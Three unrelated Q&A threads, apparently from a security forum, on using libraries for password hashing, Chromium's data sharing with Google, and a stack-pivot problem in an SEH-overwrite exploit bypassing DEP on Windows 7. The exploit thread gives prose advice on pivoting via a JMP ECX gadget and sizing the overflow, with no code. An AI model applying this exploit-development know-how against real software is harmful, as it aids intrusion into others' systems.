Saving passwords in database I have recently been studying a lot on writing secure code and choosing secure methods for saving passwords to a database. I'm wondering if it's secure to use ready made libraries or APIs to do this for me. How can I verify the integrity of those APIs?

You didn't provide too much details, so in general:

One of the biggest risks in using cryptography is its inappropriate use, leading to several security vulnerabilities, eg. private key leak, known plaintext attack etc.
Unless you're an cryptography expert (and you don't seem like one), it's generally wise to use APIs of the highest possible level, that yet suits your needs. Such APIs are probably tested better than your application, so it is less chance for inappropriate use of cryptography in an API, than in your application.
This especially concerns topics like saving user passwords in a secure way (preventing attackers from being able to use rainbow tables in case they get table dump).


ROP: finding a useful stack pivot I'm trying to write a rop chain to bypass dep on Windows 7 x64 SP1.

I'm working on a SEH overwrite exploit and so, in the first place, i need to return back to my buffer after exception is triggered and ESP was moved away. My problem is, i cannot find a good stackpivot gadget due to badchars and distance too much large of existing gadget that i could use to pivoting back into my buffer.

During the overwrite i can see ECX register that points into my buffer and i know the offset. But it seems to me its value is changed in the same time ESP is moved away. So, i cannot return back into my buffer to start my rop chain.

How can i approach to solve this problem ? Any suggestions ?

I feel like I had the same issue but managed to get it working in my case. The module with the overflow had DEP enabled so I thought it wasn't going to work.

All I did was point EIP to a JMP ECX in nSEH and SEH just to be sure but it wasn't working.

After thinking hope was lost I realized in my case there was an irrecoverable exception and it wasn't calling my SEH handler because my buffer overflow was going completely out of the bounds of the modules stack!

I found out the exact current stack size and modified my overflow to use less bytes so it ends just before leaving the stack frame.

This was all I needed to do and my JMP ECX inside the SEH successfully pivoted into my buffer and allowed me to start executing the rop chain I was working on. Hope this helps I stayed up all night working on it.


Privacy with Chromium? How private is Chromium for Windows, Linux and Android? Will a standard Chromium installation contain code that will phone home to Google or otherwise send out identifying information? Are there other possible privacy implications with Chromium / things to consider on a fresh installation?

According to Chromium's official webpage:

  The Google Chrome Privacy Notice describes the privacy practices that are specific to the Google Chrome family of products

This means, that as Chromium is part of the family of products of Google Chrome, the same privacy notices apply.

Furthermore the webpage also says:

  If you want to learn more about Google Chrome's privacy features you can also check out the Google Chrome Privacy landing page and the Google Chrome Privacy Whitepaper which describes what information is transmitted to Google and why, as well as how to disable certain features in Google Chrome which affect your privacy.

As we previously learned that the same privacy notices apply to all of Google Chrome family of products, this 2 also apply to Chromium.

After further research, I founally found this:

  Browser modes
  You don't need to provide any personal information to use Chrome, but Chrome has different modes that you can use to change or improve your browsing experience. Privacy practices are different depending on the mode that you're using.

And:

  The basic browser mode stores information locally on your system. This information might include:

  Browsing History Information. For example, Chrome stores the URLs of pages that you visit, a cache of text,
  images and other resources from those pages and, if the network
  actions prediction feature is turned on, a list of some of the IP
  addresses linked from those pages.
  Personal information and passwords, to help you fill out forms or sign in to sites you visit.
  A list of permissions that you have granted to websites.
  Thumbnail-sized screenshots of pages that you visit most often.
  Cookies or data from websites that you visit. Data saved by add-ons.
  A record of what you downloaded from websites.

This also might be useful:

  Information for website operators: Sites that you visit using Chrome will automatically receive standard log information, including your system’s IP address and data from cookies or similar technologies. In general, the fact that you use Chrome to access Google services, such as Gmail, does not cause Google to receive any additional personally identifying information about you. On Google websites and other websites that opt in, if Chrome detects signs that you are being actively attacked by someone on the network (a "man in the middle attack"), Chrome may send information about that connection to Google or the website that you visited to help determine the extent of the attack and how the attack functions. Google provides participating website owners with reports about attacks occurring on their sites.

In conclusion, yes. Chromium in fact does share your information with Google.